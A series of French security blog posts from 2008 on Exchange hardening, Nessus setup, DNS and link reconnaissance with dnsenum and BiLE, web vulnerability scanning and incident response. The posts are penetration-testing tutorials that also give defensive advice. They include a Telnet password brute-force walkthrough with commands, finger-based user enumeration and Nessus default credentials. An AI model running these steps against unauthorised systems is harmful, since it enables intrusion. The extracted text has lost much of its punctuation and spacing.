Qu’il s’agisse de la solution Forefront Security forExchange proposée par Microsoft ou non selon ses besoins, lessolutions retenues utilisent normalement une architecture 64bits etproposent des protections adéquates pour ce système de messagerie Ilfaudra donc identifier la présence puis la nature de ces solutions sinous avons besoin de les contournerPour terminer sur la partie serveur, ces derniers devront bénéficierd’une solution de backup, de monitoring et de haute disponibilité Sice n’est pas le cas, il sera plus facile de ne pas laisser de tracespour l’attaquantEtape 3: La sécurité des clients de messagerieLes clients de messagerie sont Outlook 2007 client lourd, OWAWebmail et Outlook Anywhere Outlook avec accès distantEtape 31 : AuthentificationExchange 2007 peut bloquer les communications entre un serveur Mailboxet une version d’Outlook autre que 2007 Ensuite, il faut savoir queles fichiers personnels de l’utilisateur, et donc sensibles, sontprésents sur chaque poste client mais non chiffrés … La solutionproposée par Microsoft est d’utiliser le chiffrement EFS ou BitLockerConcernant OWA, l’authentification par défaut s’effectue via un mot depasse et utilise le protocole Kerberos ou NTLM en cas d’échec Il setrouve que des outils comme rozntlm permettent de tester lesconnexions NTLM … Il est cependant possible d’utiliser uneauthentification forte reposant sur des Smart Cards avec code PIN pourchiffrer les communications via SSLQuant à Outlook Anywhere, l’authentification se fait par mot de passevia NTLM ou le mode Basic puis les flux peuvent être chiffrés avecSSL Pour cela, il conviendra de configurer un serveur IIS sur lesserveurs Edge Transport ou les CAS si non installésEtape 32 : Limitation des risques de propagation virale et de spamsOutlook et OWA sont capables de filtrer les emails en fonction desextensions des pièces jointes Plusieurs niveaux de blocage peuventêtre configurésLes fonctionnalités d’anti-spam proposées reposent des listesblanches et noires, le contenu des messages à base de mots clés etun filtre comportementalEnfin, l’Object Model Guard a pour but de vérifier qu’un programmeillicite n’essaie pas d’atteindre le carnet d’adresses ou d’envoyer unemail avec le profil de l’utilisateurEtape 4: La sécurité des communicationsEtape 41 : La sécurité des communications serveur serveurLa grande nouveauté d’Exchange 2007 est la possibilité de chiffrer lescommunications en utilisant le protocole SSL/TLS avec authentificationmutuelle entre les serveurs via certificats Si par défaut Exchangepropose l’installation de certificats auto-signés il est recommandé demettre en place des certificats générés par la PKI de l’entreprise etles faire signer par l’autorité de certification racine Il est aussipossible d’utiliser IPSec à la place de ou en plus de SSL/TLSEtape 42 : La sécurité des communications serveur clientAutre nouveauté d’Exchange 2007, le chiffrement des communicationsentre Outlook 2007 et les serveurs Exchange les serveurs Mailbox pourêtre précis Côté client, cette option devraient être appliquée etimposée au client par GPO Si cela n’est pas le cas, nous pourrons surle poste client désactiver les options de sécurité en nous baladantdans les menus d’OutlookEtape 5: Renforcer le niveau de sécuritéEtape 51 : Appliquer les restrictionsPour des raisons de performance, la taille des emails entrants etsortant et le nombre de destinataires sont certainement limités Cesrestrictions peuvent être contrôlées à plusieurs niveaux : au niveaude l’entreprise, du périmètre Exchange 2007, des connecteurs, desserveurs ou des utilisateursDans un deuxième temps, il est possible que des listes d’expéditeurssoient paramétrées Si l’expéditeur fait partie de la liste, plusieursactions pourront de dérouler : accepter le message, refuser le messageou demander à ce que tous les expéditeurs soient identifiésEtape 52 : Le filtrage des emailsAvec Exchange 2007, il existe de nombreuses méthodes pour filtreret/ou traiter les messages à implémenter sur les serveurs HubTransport pour être sûr que chaque email est traité :* Le blocage des emails selon l’extension ou le contenu d’un fichierde type MIME ;* Le filtrage des expéditeurs qui se fait sur l’analyse du contenudu champ MAIL FROM* Le filtrage des destinataires dont l’analyse porte sur le contenudu champ RCPT TO ;* Identification du serveur SMTP expéditeur : Il s’agit de vérifierque le serveur SMTP envoyant le message appartient bien au domaineauquel il prétend ;* Evaluer la réputation de l’expéditeur : grâce à un algorithme, ils’agit d’attribuer à l’expéditeur un niveau de réputation ;* Le postmark : Il s’agit d’un marqueur qui est placé dans l’entêtede l’email envoyé pour s’assurer qu’il ne s’agit pas d’un courrierindésirable ;* Le blocage de l’affichage des images ;* La classification des messages : l’expéditeur peut attribuer uneclasse à son message ex : « confidentiel » En fonction de cetteclasse, une action pourra être exécutéeEtape 6 : La maintenance du niveau de sécuritéSelon que l’entreprise met en place ou non des actions de maintenanceen termes de sécurité, il sera plus ou moins facile pour l’attaquantde percer la sécurité de la messagerie dans le temps :* Les outils de vérification tels que Microsoft Exchange BestPractices Analyzer, MBSA, IIS Lockdown tool devraient être lancésrégulièrement ou les contrôles de SCCM ;* La sécurité devraient être évaluée grâce à des tests devulnérabilité sur les serveurs de messagerie et des audits deconfiguration sur les serveurs et les clients ;* Une gestion des mises à jour devrait assurer que les serveurs nesont pas exploitables par les nouvelles failles ;* Une gestion des traces pour des raisons légales, pour la gestiondes incidents et le recouvrement des emails devrait êtreconfiguréePour plus d’information, je vous laisse trouver dans quelques jours,sur Internet une version plus longue de ce Posthttp://www.secuobs.com/revue/news/12829.shtmlhttp://www.secuobs.com/revue/news/12829.shtml Secuobs.com : 2008-03-13 23:48:26 - MISSION Security - Le scanner le plus connu vient de sortir une nouvelle version hier : nousparlons de Nessus 32 Il aurait donc été dommage de ne pas en parlerici mais en tant qu'agent entrainé, nous allons voir l'aspect sécuritéde ce scanner de sécurité ; Ensuite, nous ferons un tourd'horizon de cette nouvelle versionI - Installation et sécurité I1 - Installation de la solutionPour commencer, NESSUS 32 est téléchargeable ici Les nouvellesfonctionnalités proposées sont énumérées brièvement iciChoisissez votre plate-forme et c'est parti Si vous l'installez surune machine Windows, l'installation se résumera ni plus ni moins à du"next" : Vous remarquerez que plus de 20000 plugins seronttéléchargés La base continue à s'alimenter et c'est l'une des grandeforce de NESSUS Une fois l'installation terminée, deux modesd'authentification sont possiblesI2 - Authentification et communicationNESSUS a déjà été abordé lors d'un précédent post Une des idées àretenir est que cet outil fonctionne en mode client / serveurIl existe deux méthodes d'authentification avec NESSUS :* Une authentification basique par login / mot de passe ;* Une authentification mutuelle via certificats entre le serveur etle client NESSUSIl faut savoir que par défaut, une authentification basique est miseen place avec un compte par défaut dont le login est localuser et lemot de passe nessusdPwd Pour trouver ce mot de passe, il y aplusieurs pistes mais la plus simple se trouve certainement sur cetautre post ; Afin d'éviter que votre serveur NESSUS fasse partied'un botnet, il vaudrait supprimer ce compte En effet, un scanhorizontal sur le port 1241 et utiliser ce compte pourrait éviter àcertains hacker d'avoir à installer NESSUS et d'utiliser votre bandepassanteA moins que vous soyez aussi généreux :, quelques actions devraientêtre prises en compte :* Utiliser l'authentification par certificat si votre serveur NESSUSest installé sur une machine distante Cela apportera bien sûr unemeilleure authentification et le chiffrement des communicationsentre le serveur et le client NESSUS grâce aux protocoles SSL/TLSCela se fera grâce au gestionnaire de comptes :%system%TenableNessus, lancer UserMgmtexe, puis add pourajouter un nouvel utilisateur;* S'il s'agit d'une installation en local ou que vous ne pouvezemployer l'authentification par certificat pour une certaineraison, il vous faudra renforcer autant que possiblel'authentification basique :* Changer le port d'écoute par défaut pour éviter les scanshorizontaux sur le port 1241;* Créer un compte pour chaque utilisateur question de traçabilitéet de non-répudiation Pour cela, cette opération se fait viale gestionnaire de compte encore une fois;* Supprimer le compte par défaut déjà évoqué Pour cela, supprimerle répertoire localuser qui se trouve dans%system%TenableNessususers Aussi, supprimer le répertoirede même nom dans Application Data de votre profil utilisateurFaîtes aussi un tour dans la base de registre pour être sûrqu'aucune trace ne subsisteMaintenant que vous avez sécurisé la solution, que vous avez uncompte, il est temps de tester cette nouvelle version II - Lancement immédiat Ce qui fait la force de NESSUS en plus de son architecture client /serveur, ce sont ses possibilités de configuration Ainsi, nouspouvons être sûr qu'il saura s'adapter à vos besoins et apportera desrésultats pertinents et moins la perfection n'existe pas ; defaux-positifs Et cette version 32 ne me contredira pas car lesoptions sont plus nombreuses et les résultats plus précisII1 - ConfigurationToute la configuration se fait via le client NESSUS Il nous suffit delancer ce module pour commencer cette phase En premier lieu, il nousfaut choisir la cible sur laquelle nous allons travailler :La configuration peut être évitée grâce aux deux polices proposées pardéfaut L'une permet de vérifier le niveau de patchs d'une machineWindows est l'autre propose un scan dit "standard" Allons au fond deschoses et créons nous-même un police A travers les fonds d'écransuivant, vous verrez un exemple de configuration En réalité, le butest de vous donner un aperçu des panneaux de configuration et desfonctionnalités offerte par NESSUS 32Après avoir sauvegardé cette "policy", nous lançons le scan Une foisterminé, nous obtenons un rapportSur la colonne de gauche, les services trouvés apparaissent avec descouleurs différentes Le rouge signifie que la vulnérabilité la plusimportante concernant le service en question est de niveau critiqueEn cliquant dessus, nous apercevons, dans la fenêtre droite, que denombreuses failles ont été trouvées dont des vulnérabilités critiquescomme une version de JRE non mise à jour vulnérable à une attaque detype Buffer overflow :Je n'ai plus qu'une dernière chose à vous dire : have funhttp://www.secuobs.com/revue/news/11109.shtmlhttp://www.secuobs.com/revue/news/11109.shtml Secuobs.com : 2008-03-13 20:46:48 - MISSION Security - Lors de notre dernière mission, nous avons étudié un outil permettant detrouver les domaines pertinents comme les entreprises en relation avecnotre cibles Une fois cette liste en notre possession, nous allonsessayer pour chaque élément d'aller aussi loin que possible Pourcela, le DNS sera notre arme pivot pour l'exploiter, nous utiliseronsle couteau suisse pour ce genre d'attaque, dnsenumI - Installation de l'outilTout d'abord, téléchargez l'utilitaire ici Il s'agit donc d'un scriptPERL Avant de pouvoir l'installer, il nous faut installer un certainnombre de modules comme indiqué dans le fichier READMEtxt :* Net::IP* Net::DNS* Net::Netmask* Net::Whois::IP* HTML::Parser* WWW::Mechanize* threads* threads::shared* Thread::QueueLes modules peuvent être installés de deux manières exemple avecNet::IP :1ère méthode : manuellementA noter que les modules perl se trouvent sur le sitehttp://wwwcpanorg/modules1 Télécharger le tarball ici ;2 Décompresser-le :1 $ tar -zxvf Net-IP-125targz3 Installer le module :$ cd Net-IP-125/$ perl MakefilePL$ make$ make installA noter si vous rencontrez des problèmes pour installer le moduleHTML::Parser comme moi ;, vérifier que le gcc est à jour et/ou quelibc-dev est installé et à jour sur Debian :$ dpkg -l | grep gcc$ dpkg -l | grep libc-devEt éventuellement :$ apt-get install gcc libc-dev2e méthode, l'installation automatique :$ perl -MCPAN -e 'install "Net::IP"'II - Utilisation de l'outilNous sommes prêts L'outil va étudier la cible en plusieurs étapesCe que nous allons voir tout de suiteLancement de l'attaque :Pour utiliser toutes les possibilités, nous utiliserons la commandesuivante :$ perl dnsenumpl -v -f dnstxt domaine_cibleavec :* -v : verbose ;* -f : bruteforce Le fichier peut être dnstxt - fourni avecl'outil mais qui devrait être personnalisé - contient undictionnaire de noms DNS probables comme dns1 Le but est detrouver de nouveau sous-domaines ;* domaine_cible : par exemple, googlecomDéroulement de l'attaque :Comme nous allons le voir, la plupart des étapes pourraient êtreeffectuées manuellement Nous en verrons donc les commandescertainement déjà connues ainsi que le résultat pour chacune Pourexemple, notre "cible" sera lemondefr1 - Obtention de l'adresse IPCommande manuelle équivalente $ dig lemondefrRésultat lemondefr 550 IN A 1951541201292 - Trouver les serveurs DNS primaires champs NSCommande manuelle équivalente $ dig NS lemondefrRésultat $ ns2te-dnsnet 304 IN A 622106452$ ns1te-dnsnet 304 IN A 21283156823 - Trouver les serveurs de messagerie champs MXCommande manuelle équivalente $ dig MX lemondefrRésultat smtp0lemondefr 600 IN A 1943815smtp1lemondefr 600 IN A 19438164 - Trouver les transferts de zones champs AXFRCommande manuelle équivalente $ host -l lemondefr ns1te-dnsnet$ host -l lemondefr ns2te-dnsnetRésultat Transfer failedLes transferts de zone ne sont donc pas autorisés pour ce domaine5 - Google-scrappingCommande manuelle équivalente N/ARésultat N/A6 - Trouver des sous-domaines supplémentaires par Brute Force option-f Commande manuelle équivalente $ dig lemondefrAvec , un des mots de la liste contenue dans dnstxt par exempleRésultat bloglemondefr 241 IN A 19515120132forumlemondefr 600 IN CNAME forumslemondefrforumslemondefr 600 IN A 195154120161ftplemondefr 257 IN A 194381226Nous pouvons voir certain service dès cette étape très intéressantdans le cadre d'un pentest comme FTP en plus d'un serveur mail étape37 - Enumérer les plages d'adresses de classe C et lancer des requêtesWHOISCommande manuelle équivalente $ whois lemondefrRésultat 1943810/241951541200/248 - Lancer des requêtes reverse lookups sur les plages d'adressesrécupérées en 8 -, ainsi que les adresses récupérées via WHOIStoujours en 8 -Commande manuelle équivalente en testant toutes les adresses IPobtenues en 8 - $ nslookupRésultat 135120154195in-addrarpa 600 IN PTR cachemanlemondefr140120154195in-addrarpa 600 IN PTR panlemondefr9 - Ecrit l'ensembles des adresses dans un fichiers de typedomaineclible_ipstxtCommande manuelle équivalente N/ARésultat $ cat lemondefr_ipstxt195154120135/32195154120168/30http://www.secuobs.com/revue/news/11013.shtmlhttp://www.secuobs.com/revue/news/11013.shtml Secuobs.com : 2008-02-25 11:07:51 - MISSION Security - La mission du jour, cher agent, est de vous former à la récupérationd'information En effet, cette étape est cruciale lors d'un testd'intrusion C'est même la première à considérer et celle qui pourrafaire la différence par la suite Vous connaissez certainement despistes pour trouver sur Internet des informations sur votre cible:bases WHOIS, annuaires et moteurs de recherche, newsgroups, etcMais saurez vous trouver les portes plus cachées La porte d'entréeouverte d'une filiale qui vous facilitera certainement grandement latâche A vous de jouer Automatisation des recherchesL'information que l'on recherche se trouve très certainement surInternet mais il s'agit clairement, la plupart du temps, de chercherune aiguille dans une botte de foin Alors dans ce cas, brûlons lefoin me direz-vous Notre "brûleur" pourrait très bien être la suiteBiLE car cet outil a pour objectif de trouver les liens entre lessites de manière automatique et, dans notre cas, les sociétés quipourraient être en rapport avec notre cible De plus, cette suite estcapable de noter la pertinence des résultats trouvés Voici un bondépart pour notre test Alors passons à l'action Installation de la solutionPour récupérer la solution, il suffit de ce rendre sur le site deSensepost et après enregistrement, on obtient la suite BiLE Nousdécompressons le fichier obtenus pour récupérer les fichiers Perl quinous intéresse Aussi, nous avons besoin de httrack aspirateur desite WEB Voilà, nous sommes prêts Exécution des scriptsNotre recherche va s'effectuer en deux étapes en exécutant l'un aprèsl'autre les scripts suivants:* BiLEpl pour trouver les liens avec notre cible;* BiLE-weighpl pour pondérer les résultats trouvés avec BiLEplLe premier script se lance de la manière suivante ex avecwwwblackhatcom:perl BiLEpl wwwblackhatcom blackhat_1txtUne fois terminé, le script génère un fichier *mine En l'ouvrant, onobtient ce genre de résultats :site1:site2Les relations sont donc établies Le deuxième script va nous permettrede pondérer ces liens:perl BiLE-weigh wwwblackhatcom blackhat_1txtmineCette fois, nous obtenons un fichier *minesorted:Pour comprendre la pondération attribuée, il faut juste savoir queplus le nombre est important, plus la relation entre les deux sitesest forte Nous obtenons de nombreux résultats mais peu en réalitéavec une pondération pertinente Quoiqu'il en soit, voici des pistesqui nous seront certainement bien utiles ;Comment ça marche Nous allons expliquer ici en quelques mots le fonctionnement des deuxscripts utilisésLe script BiLEplCe premier script repose sur deux choses :* HTTRACK ;* GOOGLELe premier permet de récupérer les pages du site cible et de lireainsi les liens qui figure dans le code sources de celles-ci Quant àGoogle, il joue son rôle de moteur de recherche pour savoir à quicorrespond chaque lien récupéré Les relations entre sites sont ainsiétabliesLe script BiLE-weighplCe second script ajoute une pondération donc Pour cela, plusieurscritères sont à retenir :* Les liens "entrants";* Les liens "sortants";* Les relations entre les liensConcernant les liens entrants, ce sont les sites qui contiennent unlien vers notre cible On comptera donc le nombre de liens entrantsMais si un site ne contient qu'un seul lien et que celui ci est notrecible, alors, il aura plus de poids que s'il contenait une centaine delien dont un vers la cible Voici un extrait du code concernant lesliens entrants avec ws, weight-source et wd, weight-destination:if $src eq {$newsites{$dst}=$newsites{$dst}+$sites{$src}*1/$ws;}Quant aux liens sortants, il s'agit d'énumérer les liens du site ciblevers les autres sites en relation De le même façon que pour les liensentrants, si un site de notre cible ne contient qu'un seul lien versun certain site relation, ce lien aura plus de poids que si le sitecible en contient une centaine vers différents site en relation Voiciun extrait du code concernant les liens sortants :if $dst eq @ARGV0{$newsites{$src}=$newsites{$src}+$sites{$dst}*06/$wd;}Pour terminer, les occurrences entre les sites en relations sontétudiés Notamment, si nous trouvons de nombreux liens vers notrecible ET vice-versa, ces deux sites sont certainement étroitementliésEnfin, un ratio est appliqué en faveur des liens vers la cible 6:10que nous avons pu noter plus haut déjà Ces deux lignes de code nousle montrent entre deux sites relevés :$newsites{$dst}=$newsites{$dst}+$sites{$src}*1/$ws;$newsites{$src}=$newsites{$src}+$sites{$dst}*06/$wd;Voilà qui devrait nous faire gagner du temps pendant nos recherchesCela tombe bien, le temps vous est compté cher agent Pour aller plus loin PDFhttp://www.secuobs.com/revue/news/9065.shtmlhttp://www.secuobs.com/revue/news/9065.shtml Secuobs.com : 2008-02-17 01:48:10 - MISSION Security - Un serveur sécurisé, c'est bien mais l'utilisation d'un protocole enclair peut anéantir les efforts de sécurisation En effet, lesprotocoles comme FTP, Telnet, Rlogin et bien d'autres fonctionnentavec une méthode d'authentification faible, c'est-à-dire un couple motde passe / login mais pire, le mot de passe est transmis en clair,ainsi que les communications Une solution qui vous vient certainementest de sortir votre sniffer préféré ex : wireshark Bonne idée Surtout si la machine cible est sur le même réseau que le votreSinon, nous allons voir une autre méthode qui pourra s'avérait plussimple dans le cas d'une machine cible distanteContexte de l'attaqueNous effectuons un test d'intrusion sur un serveur qui utilise unprotocole en clair Nous utiliserons pour exemple Telnet qui est -malheureusement - bien trop utiliséPremière chose, la machine est-elle vulnérable $ nmap -sS -sV -p 23,79 1921680102Starting Nmap 411 http://wwwinsecureorg/nmap/ at 2008-02-1616:03 EST Interesting ports on 1921680102: PORT STATE SERVICEVERSION 23/tcp open telnet Linux telnetd 79/tcp open finger Debianfingerd Service Info: OS: Linux Nmap finished: 1 IP address 1host up scanned in 6250 secondsLes deux démons dont nous avons besoin sont présents et actifs sur leserveurs cible : telnet et finger Ce dernier n'est pas obligatoiremais nous facilitera la tâche comme nous le verrons dans le paragraphequi suitDéroulement de l'attaquePour obtenir l'accès sur la machine, nous avons besoin dans un premiertemps du login Il peut être obtenu de plusieurs manières Si parsocial engineering ou en sniffant cela n'a pas été possible, un autrepossibilité est le démon finger s'il tourne sur la machine distanteC'est notre cas $ finger @1921680102 1921680102 Login Name Tty Idle LoginTime Office Office Phone agentJ secret *:0 Feb 16 15:47 root rootpts/1 Feb 16 15:48 :00Nous avons franchi la première étape en découvrant le login del'utilisateur cible Il s'agit d'agentJMaintenant, il nous reste à trouver le mot de passe Pour cela, nousallons sur le site de packetstormsecurity pour y trouver :* Un fichier contenant des mots de passe prenez le fichier qui voussemble le plus pertinent;* Un script perl pour casser le mot de passe de la session telnetUn peu de préparation Pour que tout puisse fonctionner correctement, il faut décompresser lefichier contenant les mots de passe :uncompress Dans le même répertoire, décompresser le fichier contenant le scriptperl Telnet_crackpltar -xzvf Telnet_cracktargzcd Telnet_cracktar -xvzf Net-Telnet-XXXtargz avec XXX, le numéro de laversioncd Net-Telnet-XXXperl MakefilePLmakemake installVoilà, vous êtes prêt Crackage du mot de passeIl nous suffit de lancer la commande suivante :perl Telnet_Crackpl -h 1921680102 -u agentJ -P Pour obtenir :Trouvé Le mot de passe est donc Missi0n_/ccomplishedVérifions tout de suite notre résultat :Nous nous sommes bien connecté avec le compte de la victime ConclusionNous venons de voir un exemple de prise de contrôle d'un serveur viaun service utilisant les texte en clair Heureusement, des méthodes desécurisation existent Par exemple, le service Telnet, quitte à êtreutilisé, aurait dû être "wrappé" pour en limité l'accès Mieux maispeu connu, il existe un service telnet chiffré avec SSL Encore,mieux, utiliser des protocoles plus sûr comme SSH qui ont aussil'avantage de permettre l'utilisation d'un authentification plus fortevia des clés asymétriques Cependant, pour des raisons "historiques"ou pour ne pas empêcher le fonctionnement de script sur des serveursen production, le service Telnet est toujours utiliséhttp://www.secuobs.com/revue/news/8186.shtmlhttp://www.secuobs.com/revue/news/8186.shtml Secuobs.com : 2008-02-08 15:28:49 - MISSION Security - Quand il s'agit de tests d'intrusion externes, nous nous retrouvonssouvent face à un serveur WEB en tant que point d'entrée Par exemple,imaginez que vous deviez auditer la société Suisjesecure, on vousdonnera certainement l'adresse IP publique wwwsuisjesecurecom commeseule et unique information du moins, s'il s'agit d'un test enaveugle Si un tel test demande de nombreuses étapes de la prised'information à la récupération de données sensibles ou la prise decontrôle d'une partie du réseau, les failles repérées le plusfréquemment sont de type XSS Cross Site Scripting ou SQL InjectionPour cela, nous allons voir comment Firefox peut devenir notre alliépour autmatiser ce genre de tâchesInstallation des extensions :Les extensions en question sont XSS-me et SQL inject-me de la suiteExploit-me Comme leur nom l'indique, le premier teste lesvulnérabilités de type Cross Site Scripting d'un site tandis que lesecond teste les failles de type injections SQL* Commençons par télécharger les modules XSS-me et SQL inject-meissus donc de la suite Exploit-me de la société SecurityCompass;* Ensuite, installer les modules en les ouvrant simplement avecvotre navigateur Firefox ;* Une fois terminé, vous n'avez plus qu'à redémarrer le navigateur ;* C'est tout Mise en oeuvre :Tout aussi simplement, nous allons testé chacun de ses composantsAvant cela, nous pourrons utiliser 0, 1 ou les extensions en fonctiondu site testé En effet, en amont, nous devrions regarder si :a Le site peut être vulnérable aux attaques de type XSS présence descripts, zones de saisie, Ce point pourra être vérifié ennaviguant sur le site, tout simplement ;b Le site nécessite l'utilisation d'un base de données Ceci serasûrement le cas s'il s'agit d'un site marchand par exemple Nouspourrons le vérifier aussi avec un scanner de ports comme nmap poureffectuer nos vérifications et même, déterminer le type de la base dedonnées MySQL, Oracle, PostgreSQL, En fonction des réponses, nous utiliserons les composants plausiblesinutile de faire du bruit pour rien ;Supposons que suisjesecurecom est potentiellement vulnérable aux deuxtypes d'attaques1/ XSS-mePour utiliser le module, nous nous rendons dans le menu de Firefox :Outils > XSS MENous pouvons commencer par configurer le composant Il faut savoir quenous pourrons lancer ensuite soit tous les tests disponibles, soit lesX top attaques X = 9 par défaut Dans le panneau de configuration,nous pouvons d'une part modifier la valeur de X et d'autre par ajouterou supprimer des tests d'attaque XSS dans la liste mise à dispositioncomme nous le montre le premier fond d'écranEnsuite, nous pouvons configurer les champs à tester et les tests àexécuter dans l'interface du module comme le montre le deuxième fondd'écran Nous choisissons de lancer les "top attack" résultats :Pas de chance, tous les tests ont été passés avec succès Alorstentons cette fois avec les failles de type SQL injections2/SQL inject-meExactement de la même façon, nous pouvons configurer le composant dansle menu de firefox, puis dans l'interface, une fois le modu lancéNous sommes prêts, lançons les tests Cette fois, nous voyons quatre tests qui n'ont pas réussis Desfailles Regardons plus en détail L'étape suivante est donc d'analyser les résultats et de vérifier lapossibilité d'exploiter les faillesPour conclure :Si ces deux composants devraient apporter un maximum d'informationdans de nombreux cas, il ne faut pas oublier qu'il existe tout unpanel d'attaques ciblant un site WEB Par conséquent, afin d'êtresuffisamment exhaustif lors d'un test d'intrusion externe, nousdevrons rester rigoureux dans notre démarche et tester les autrestypes de vulnérabilités ex : contrôle d'accèsAussi, dans le cas d'applications WEB spécifiques, il se peut qu'unecommande elle-même spécifique existe Dans ce cas, elle ne figure pasforcément dans la liste des tests proposés et nous pourrions alorspasser à côté d'une faille pouvant être critique Par exemple, si labase n'a pas été mise à jour avec des vulnérabilités récentes ou sil'application en question n'est tout simplement pas prise en compteBref, la vigilance reste donc de vigueurhttp://www.secuobs.com/revue/news/6164.shtmlhttp://www.secuobs.com/revue/news/6164.shtml Secuobs.com : 2008-02-08 11:06:18 - MISSION Security - *** A L E R T E *** Une intrusion a été signalée Nous devons absolumentretrouver l'attaquant afin que son crime ne reste pas impuniDifficile Non, impossible Sinon, ce serait trop facile pourl'agent que nous sommes ;L'enquête :* Recherche d'indiceLes pistes sont nombreuses et selon la circonstance, il faudra trouverles bons filons Les logs représentent évidemment les éléments clés denos recherches mais de quelle nature peuvent-ils être : en réalité, ilpeut s'agir des logs DNS, logs du serveur WEB eg Apache ou IIS, duserveur Mail, tout serveur applicatif FTP, Base de données, etcAu niveau système, l'Event Viewer d'un machine Windows ou la baseSyslog sont des sources à ne surtout pas négliger Ensuite, nousdevrions penser aux équipements réseau comme les routeurs, pare-feu,proxies, VPNs, ISP et autres "intermédiaires" qui ont pu enregistrédes traces Une autre piste concerne les fichiers de configurationDans un premier temps, nous pouvons regarder les fichiers réseau parexemple comme xinetdconf Plus tard, au fur et à mesure des indicestrouvés, nous regarderons de plus près les fichiers de configurationassociés susceptibles d'avoir été modifiésAussi, chaque phase de l'attaque peut révéler un indice intéressantPar exemple, un mail laissé lors d'une attaque de type phishing, unmessage quelconque à travers quelle application , une connexion ouun port resté ouvert eg Une porte dérobéeNous partons du principe que l'attaquant s'est forcément connecté surun point ou plus de notre réseau et à partir d'un point de notreréseau -dans le cas d'une machine compromise - ou nonDe cette manière, la plupart du temps, nous devrions trouver uneadresse IP Elle représente le point de départ de la deuxième phase denotre investigation* Localisation de l'attaquantNotre suspect aura donc certainement laissé des traces de son passagemais il est possible d'en trouver nous-mêmes Maintenant que nousconnaissons son ou ses adresses IP, nous pouvons partir à larecherche d'information ciblée Pour cela, nous disposons sur Internetde nombreux éléments comme les bases WHOIS Aussi, GOOGLE - à traversdes requêtes intelligentes - pourra se montrer riche en indices et enpreuves Le WEB constitue donc une composante essentielle dans notredémarche Pour localiser l'attaquant géographiquement, ce site deGeobytes nous permettra d'obtenir la réponseA l'action :* Prise d'information activeSelon les informations trouvées précédemment, nous pourrons lescompléter avec des commandes réseaux comme NETSTAT, NBSTAT,TRACEROUTE, et différents outils comme NMAP, CaïnetAbel, NIKTO,WHIRESHARK, un simple navigateur ou un client de messagerie pourtrouver les informations d'un mail Pour l'investigation, il est trèsutile d'avoir à sa disposition des solutions de sécurité comme un IDSex : SNORT ou un IPS Des alertes seront ainsi générées et nousfourniront des informations complémentaires dans ce genre desituation De même, en mettant en place le module d'ApacheMOD_SECURITY, nous pourrons non seulement filtrer les requêtes maisaussi avoir à notre disposition des données importantes Un autresystème, nommé TRIPWIRE, lancera quant à lui des alertes dans le casd'une modification d'un fichier Comme nous l'avons vu plus haut, desfichiers de configuration - critiques certainement - pourront êtremodifiés pendant l'attaque Cette dernière solution est donc un bonmoyen de repérer ce genre d'incident Dans la perspective d'obtenirdes alertes en temps réel en cas d'attaque, un SIM pour SecurityInformation Manager nous fournira un grand nombre d'information utilecomme le type de l'alerte, la ou les cibles, la ou les sources, lanature et l'évaluation de l'attaque entre autres Il existe d'ailleursune version Open Source appelée OSSIMDans un tout autre registre et à vrai dire pas toujours exploitable,il ne faut cependant pas oublier l'analyse de la mémoire des machinestouchées Pour cela, un outil comme Volatools cf ici pour plusd'information pourra s'avérer très utilePour un besoin plus spécifique mais dans certains cas indispensables,un debugger peut être un moyen supplémentaire de retrouver desinformations compromettantes Imaginons par exemple le cas d'unprogramme malveillant installé suite à la compromission d'un serveurAlors, debugger un programme nous permettra de l'analyser et encomprendre le fonctionnement jusqu'a en trouver des informationsprobantes sur l'attaquant Niveau outil, on peut utiliser par exempleELFsh En complément, citons la checklist proposée par SANS* Arrêter le coupableArrêter le coupable suppose que nous sommes sûr de notre suspect Lebénéfice du doute n'est pas permis Cependant, comme dans touteenquête, son activité informatique j'entends pourra confirmer ou nonnos résultats Ensuite, trouver le client d'un backdoor correspondantau serveur sur son poste peut de nouveau peser dans la balanceD'ailleurs, l'ensemble de son système devrait nous apporter lespreuves nécessaires par exemple, la commande history pourra nouspermettre de retracer l'attaque Si on juge que nous avons trouvé labonne personne, il est temps de déconnecter cet intrus et d'imposerles restrictions nécessaires et de le sensibiliser à ses actions* Effacer les tracesUne fois le coupable mis hors d'atteinte, il ne faut pas oublier quenotre machine a été infectée Evidemment, le bon reflexe aura étéd'isoler la machine en premier lieu, et ce, avant toute investigationEnsuite, nos recherches devront s'axer vers les portes dérobées ettout programme installé à notre ainsi En réalité, le meilleur et seulmoyen de s'assurer que notre machine est de nouveau saine, c'est de laformater entièrement Par contre, il faudra absolument garder unecopie des logs : d'une part ils pourront toujours être utiles denouveau et d'autre part, ils seront certainement nécessaires d'unpoint de vue légal Mais le formatage ne suffira pas Il faudraensuite installer de nouveau le système d'exploitation, lesapplications, tous les correctifs nécessaires, reconfigurer la machinefichiers de configuration, comptes et groupes, , la scanner et laremettre en production seulement une fois que son niveau de sécuritéest satisfaisantCas d'étude :Après le briefing, passons à la pratique Pour des exemples pluscomplexes et - un peu plus fantaisistes aussi : -, je vous recommandeles livres Hacker's Challenge 1, 2 et 3 Mais de manière plusconcrète, je vous proposerai prochainement dans ce blog un exemplerencontréhttp://www.secuobs.com/revue/news/5925.shtmlhttp://www.secuobs.com/revue/news/5925.shtml Secuobs.com : 2008-02-08 11:06:18 - MISSION Security - Dans de nombreuses tâches de sécurité, il faut faire appel aux logs Maisil s'agit certainement de l'une des tâches des plus difficiles cardeux problématiques essentielles se posent : où chercher et commentne pas manquer l'information utile parmi tous les logs fournis parl'ensemble du réseau serveurs et équipements réseau La solutionexiste depuis un moment maintenant et son nom de code est SIM pourSecurity Information Management A travers l'exemple Open Source nomméOSSIM, nous verrons les caractéristiques et les réponses techniquesapportées par ce type d'outilsIdentification :* Définition ;Un SIM est un moteur de corrélation dont la puissance peut êtreévaluée par le nombre de logs qu'il peut traiter à la seconde et lestypes d'information qu'il est capable de comprendre A l'issue decela, un SIM corrèle les logs selon des règles pré-établies afin deremonter des alertes en quasi temps réel* Caractéristiques basiques ;S'il existe de nombreux SIMs sous forme d'appliance, OSSIM estentièrement software Il a plusieurs but principaux qui sont desuperviser et de piloter la sécurité d'un sous-réseau dans saglobalité En effet, il prendra en compte aussi bien les serveursquelque soit l'OS que les équipements réseau pare-feu, routeurs,etc Pour cela, notre SIM utilise une architecture client /serveur Nous aurons d'une part la partie serveur sur lequel tourneraun service pour l'affichage de la console de pilotage et d'autre part,les clients qui sont en réalité ni plus ni moins des agents Cesderniers auront simplement pour rôle de collecter des informations etde les renvoyer vers le serveur Comme nous l'avons compris, OSSIM estune solution Open Source par sa conception mais aussi par les modulesappelés sensors utilisés En effet, pour collecter les informationsnécessaires, notre corrélateur se base sur les outils les plus connusde la communauté Open Source 